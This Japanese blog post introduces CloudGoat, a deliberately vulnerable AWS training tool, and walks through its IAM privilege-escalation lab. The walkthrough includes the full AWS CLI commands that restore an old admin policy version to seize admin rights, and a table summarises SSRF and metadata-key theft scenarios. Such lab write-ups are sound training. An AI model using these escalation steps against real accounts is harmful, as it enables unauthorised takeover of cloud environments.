ゆるふわIAM userのadmin権限を奪ってみた(AWSセキュリティ学習環境構築ツールCloudGoatのご紹介)
AWSを愛する皆さま、こんにちは。
羊肉串に用いられる孜然(クミン)が大好きなコンサルティング部の西野(@xiye_gen)です。
セキュリティに漠然とした興味があるものの何から手を付けて良いのかわからなかった私にとって渡りに船なツールがございましたので、本日はその紹介をいたします。
目次
CloudGoatとは
概要
https://github.com/RhinoSecurityLabs/cloudgoat
CloudGoatはRhino Security Labs社が開発したセキュリティ学習用のAWS環境構築ツールです。
本ツールで構築される環境とあらかじめ用意されたCTF(Capture The Flag)形式のシナリオによりAWSセキュリティに関するスキルを身につけることができます。
各シナリオにおいて本ツールの利用者は「攻撃者」の立場となり、対象のAWSアカウントやシステムを調査・攻撃(admin権限の奪取など)をしていきます。
シナリオ紹介
2020/1/9時点で6つのシナリオが存在します。
シナリオはRhino Security Labs社とCloudGoatのコミュニティにより作成・メンテナンスされているようです。
| シナリオ名 | 規模 | 難易度 | 概要 |
|---|---|---|---|
| iam_privesc_by_rollback | Small | Easy | Starting with a highly-limited IAM user, the attacker is able to review previous IAM policy versions and restore one which allows full admin privileges, resulting in a privilege escalation exploit. |
| cloud_breach_s3 | Small | Moderate | Starting as an anonymous outsider with no access or privileges, exploit a misconfigured reverse-proxy server to query the EC2 metadata service and acquire instance profile keys. Then, use those keys to discover, access, and exfiltrate sensitive data from an S3 bucket. |
| iam_privesc_by_attachment | Medium | Moderate | Starting with a very limited set of permissions, the attacker is able to leverage the instance-profile-attachment permissions to create a new EC2 instance with significantly greater privileges than their own. With access to this new EC2 instance, the attacker gains full administrative powers within the target account and is able to accomplish the scenario's goal - deleting the cg-super-critical-security-server and paving the way for further nefarious actions. |
| ec2_ssrf | Medium | Moderate | Starting as the IAM user Solus, the attacker discovers they have ReadOnly permissions to a Lambda function, where hardcoded secrets lead them to an EC2 instance running a web application that is vulnerable to server-side request forgery (SSRF). After exploiting the vulnerable app and acquiring keys from the EC2 metadata service, the attacker gains access to a private S3 bucket with a set of keys that allow them to invoke the Lambda function and complete the scenario. |
| rce_web_app | Medium | Hard | Starting as the IAM user Lara, the attacker explores a Load Balancer and S3 bucket for clues to vulnerabilities, leading to an RCE exploit on a vulnerable web app which exposes confidential files and culminates in access to the scenario’s goal: a highly-secured RDS database instance. Alternatively, the attacker may start as the IAM user McDuck and enumerate S3 buckets, eventually leading to SSH keys which grant direct access to the EC2 server and the database beyond. |
| codebuild_secrets | Large | Hard | Starting as the IAM user Solo, the attacker first enumerates and explores CodeBuild projects, finding unsecured IAM keys for the IAM user Calrissian therein. Then operating as Calrissian, the attacker discovers an RDS database. Unable to access the database's contents directly, the attacker can make clever use of the RDS snapshot functionality to acquire the scenario's goal: a pair of secret strings. Alternatively, the attacker may explore SSM parameters and find SSH keys to an EC2 instance. Using the metadata service, the attacker can acquire the EC2 instance-profile's keys and push deeper into the target environment, eventually gaining access to the original database and the scenario goal inside (a pair of secret strings) by a more circuitous route. |
各シナリオの詳細についてはScenarios AvailableのVisit Scenario Pageから確認できます。
※注意
前提条件
CloudGoatを使用するためには下記の環境が必要です。
公式サイト等を参照しインストールしてください。
- Linux or MacOS. Windows is not officially supported.
- Argument tab-completion requires bash 4.2+ (Linux, or OSX with some difficulty).
- Python3.6+ is required.
- Terraform 0.12 installed and in your $PATH.
- The AWS CLI installed and in your $PATH, and an AWS account with sufficient privileges to create and destroy resources.
初期設定
Quick Startを参照しつつ初期設定を実施していきます。
IAM user作成
CloudGoatからAWSリソースを作成するためのIAM userを作成します。
今回はcloudgoatという名称のIAM userを作成し、AdministratorAccess(AWS管理ポリシー)権限を付与します。
名前付きプロファイルの作成
CloudGoat用にAWS CLIの名前付きプロファイルを設定します。
$ aws configure --profile cloudgoatAWS Access Key ID [None]: <Your Access Key ID>AWS Secret Access Key [None]: <Your Secret Access Key ID>Default region name [None]:Default output format [None]: |
CloudGoatインストール
GitHubからCloudGoatのレポジトリをcloneします。
※git cloneに失敗した場合は後述の「git clone時にエラーが生じた場合」をご参照ください。
$ git clone git@github.com:RhinoSecurityLabs/cloudgoat.git ./CloudGoatCloning into './CloudGoat'...remote: Enumerating objects: 1971, done.remote: Total 1971 (delta 0), reused 0 (delta 0), pack-reused 1971Receiving objects: 100% (1971/1971), 8.25 MiB | 1.62 MiB/s, done.Resolving deltas: 100% (627/627), done. |
Pythonの必要パッケージをpip3でインストールします。
$ pip3 install -r ./core/python/requirements.txtCollecting argcomplete==1.10.0 (from -r ./core/python/requirements.txt (line 5))Collecting PyYAML==5.1.1 (from -r ./core/python/requirements.txt (line 6)) Downloading https://files.pythonhosted.org/packages/a3/65/837fefac7475963d1eccf4aa684c23b95aa6c1d033a2c5965ccb11e22623/PyYAML-5.1.1.tar.gz (274kB) 100% |████████████████████████████████| 276kB 9.1MB/sInstalling collected packages: argcomplete, PyYAML Found existing installation: PyYAML 5.1.2 Uninstalling PyYAML-5.1.2: Successfully uninstalled PyYAML-5.1.2 Running setup.py install for PyYAML ... doneSuccessfully installed PyYAML-5.1.1 argcomplete-1.10.0 |
cloudgoat.pyに実行権限を付与します。
$ chmod u+x cloudgoat.py |
cloudgoat.pyを実行し、profileを設定します。
$ ./cloudgoat.py config profileNo configuration file was found at /Users/nishino.wataru/CloudGoat/config.ymlWould you like to create this file with a default profile name now? [y/n]: y ★yと入力Enter the name of your default AWS profile: cloudgoat ★先に設定したAWS CLIのプロファイルと同じものを入力A default profile name of "cloudgoat" has been saved. |
cloudgoat.pyを実行し、IPアドレスのホワイトリストを設定します。
$ ./cloudgoat.py config whitelist --autoNo whitelist.txt file was found at /Users/nishino.wataru/CloudGoat/whitelist.txtCloudGoat can automatically make a network request, using curl, to ifconfig.co to find your IP address, and then create the whitelist file with the result.Would you like to continue? [y/n]: y ★yと入力whitelist.txt created with IP address XXX.XXX.XXX.XXX/32 |
これでCloudGoatの初期設定が完了しました。
git clone時にエラーが生じた場合
git clone時に下記のエラーが生じる場合があります。
$ git clone git@github.com:RhinoSecurityLabs/cloudgoat.git ./CloudGoatCloning into './CloudGoat'...The authenticity of host 'github.com (13.114.40.48)' can't be established.RSA key fingerprint is SHA256:nThbg6kXUpJWGl7E1IGOCspRomTxdCARLviKw6E5SY8.Are you sure you want to continue connecting (yes/no)? yesWarning: Permanently added 'github.com,13.114.40.48' (RSA) to the list of known hosts.git@github.com: Permission denied (publickey).fatal: Could not read from remote repository.Please make sure you have the correct access rightsand the repository exists. |
GitHub側にSSHキーが登録されていないことが原因です。
下記の手順を参考にSSHキーの登録を済ませた後、再度git cloneを実行してください。
シナリオ iam_privesc_by_rollbackをやってみた
シナリオの中からひとつを試してみました。
シナリオのREADME.mdを読みシナリオの概要をつかむ
READMD.mdにはシナリオの概要(開始時点で作成されるリソースやゴールなど)が記されています。
本シナリオはおおまかに下記の流れで進みます。
- IAM user
Raynorには最小限の権限が設定されており、一見無害なように見える。 - 攻撃者は
Raynorの権限を分析し、SetDefaultPolicyVersion権限(ポリシーのデフォルトバージョンを変更できる)を持っていることに気づく。 - 攻撃者が古いバージョンのポリシーを全て調べたところ、その内ひとつのポリシーにadmin権限が与えられていることに気づく。
- 攻撃者は当該ポリシーをデフォルトポリシーとして設定しadmin権限を手にする。
- 攻撃内容を隠ぺいするため、攻撃者はデフォルトポリシーの設定を元に戻す。
さっそく進めていきましょう。
シナリオ環境の作成
下記のコマンドを実行し環境を作成します。
TerraformがAWSアカウント内にシナリオ用のリソースを作成してくれます。
$ ./cloudgoat.py create iam_privesc_by_rollback |
環境の作成が終わると下記のstart.txtが作成されます。
[cloudgoat] Output file written to: /Users/nishino.wataru/CloudGoat/iam_privesc_by_rollback_cgidekx54arcv2/start.txt |
中を見てみましょう。
$ cat /Users/nishino.wataru/CloudGoat/iam_privesc_by_rollback_cgidekx54arcv2/start.txtcloudgoat_output_aws_account_id = XXXXXXXXXXXXcloudgoat_output_raynor_access_key_id = AKIXXXXXXXXXXXXXXXXcloudgoat_output_raynor_secret_key = 22LPtXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX |
RaynorというIAM userが作成され、アクセスキーが用意されます。AWS CLIの名前付きprofileに設定しておきます。
$ aws configure --profile raynorAWS Access Key ID [None]: AKIXXXXXXXXXXXXXXXXAWS Secret Access Key [None]: 22LPtXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXDefault region name [None]:Default output format [None]: |
これで準備は整いました。
ここからはAWS CLI Command Referenceを参照しつつつIAM user Raynorについて調査していきます。
以下にはシナリオのネタバレを含みます。ご自身で試してみたい方はこの先を読まないようご注意ください。
Raynorにアタッチされているポリシーを確認してみる
コマンドは$ aws iam list-attached-user-policiesです。
$ aws iam list-attached-user-policies --user-name raynor --profile raynor{ "AttachedPolicies": [ { "PolicyName": "cg-raynor-policy", "PolicyArn": "arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy" } ]} |
Raynorにはcg-raynor-policyというポリシーがアタッチされているようです。
cg-raynor-policyのバージョン情報を確認してみる
当該ポリシーのバージョン情報を確認してみます。
コマンドは$ aws iam list-policy-versionsです。
$ aws iam list-policy-versions --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --profile raynor{ "Versions": [ { "VersionId": "v5", "IsDefaultVersion": false, "CreateDate": "2020-01-07T01:34:04Z" }, { "VersionId": "v4", "IsDefaultVersion": false, "CreateDate": "2020-01-07T01:34:04Z" }, { "VersionId": "v3", "IsDefaultVersion": false, "CreateDate": "2020-01-07T01:34:04Z" }, { "VersionId": "v2", "IsDefaultVersion": false, "CreateDate": "2020-01-07T01:34:04Z" }, { "VersionId": "v1", "IsDefaultVersion": true, "CreateDate": "2020-01-07T01:34:01Z" } ]} |
計5つのバージョン(v1-v5)が存在し、そのうちv1がデフォルトバージョンとして設定されていることがわかります。
ポリシーの中身を見てみる
それぞれのバージョンについてポリシーの中身を見ていきましょう。
コマンドは$ aws iam get-policy-versionです。
cg-raynor-policy v1
$ aws iam get-policy-version --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --version-id v1 --profile raynor{ "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": [ { "Sid": "IAMPrivilegeEscalationByRollback", "Action": [ "iam:Get*", "iam:List*", "iam:SetDefaultPolicyVersion" ], "Effect": "Allow", "Resource": "*" } ] }, "VersionId": "v1", "IsDefaultVersion": true, "CreateDate": "2020-01-07T01:34:01Z" }} |
こちらが現在のバージョンです。
cg-raynor-policy v2
$ aws iam get-policy-version --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --version-id v2 --profile raynor{ "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": { "Effect": "Allow", "Action": "iam:Get*", "Resource": "*", "Condition": { "DateGreaterThan": { "aws:CurrentTime": "2017-07-01T00:00:00Z" }, "DateLessThan": { "aws:CurrentTime": "2017-12-31T23:59:59Z" } } } }, "VersionId": "v2", "IsDefaultVersion": false, "CreateDate": "2020-01-07T01:34:04Z" }} |
cg-raynor-policy v3
$ aws iam get-policy-version --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --version-id v3 --profile raynor{ "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": { "Effect": "Deny", "Action": "*", "Resource": "*", "Condition": { "NotIpAddress": { "aws:SourceIp": [ "192.0.2.0/24", "203.0.113.0/24" ] } } } }, "VersionId": "v3", "IsDefaultVersion": false, "CreateDate": "2020-01-07T01:34:04Z" }} |
cg-raynor-policy v4
$ aws iam get-policy-version --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --version-id v4 --profile raynor{ "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": [ { "Action": "*", "Effect": "Allow", "Resource": "*" } ] }, "VersionId": "v4", "IsDefaultVersion": false, "CreateDate": "2020-01-07T01:34:04Z" }} |
cg-raynor-policy v5
$ aws iam get-policy-version --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --version-id v5 --profile raynor{ "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": { "Effect": "Allow", "Action": [ "s3:ListBucket", "s3:GetObject", "s3:ListAllMyBuckets" ], "Resource": "*" } }, "VersionId": "v5", "IsDefaultVersion": false, "CreateDate": "2020-01-07T01:34:04Z" }} |
以上の結果から、admin権限を有するv4を使用すれば良いことがわかります。
ポリシーのデフォルトバージョンを変更する
コマンドは$ aws iam set-default-policy-versionです。
$ aws iam set-default-policy-version --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --version-id v4 --profile raynor |
設定後の内容を$ aws iam list-policy-versionsで確認してみます。
$ aws iam list-policy-versions --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --profile raynor{ "Versions": [ { "VersionId": "v5", "IsDefaultVersion": false, "CreateDate": "2020-01-07T01:34:04Z" }, { "VersionId": "v4", "IsDefaultVersion": true, "CreateDate": "2020-01-07T01:34:04Z" }, { "VersionId": "v3", "IsDefaultVersion": false, "CreateDate": "2020-01-07T01:34:04Z" }, { "VersionId": "v2", "IsDefaultVersion": false, "CreateDate": "2020-01-07T01:34:04Z" }, { "VersionId": "v1", "IsDefaultVersion": false, "CreateDate": "2020-01-07T01:34:01Z" } ]} |
これでadmin権限を奪取することができました。
環境の削除
下記のコマンドによりシナリオによって作成されたリソースを全て削除できます。
./cloudgoat.py destroy iam_privesc_by_rollback |
終わりに
いままではセキュリティに関する一般原則を聞いてもいまいちピンと来なかったのですが、CloudGoatによる攻撃者のロールプレイによってその重要性を実感できました。
私と同じような感覚を持っている方がいらっしゃいましたら、いずれかひとつのシナリオだけでもやってみることをおすすめいたします。
このブログがほんの少しでも世界を良くできれば嬉しいです。
コンサルティング部の西野(@xiye_gen)がお送りしました。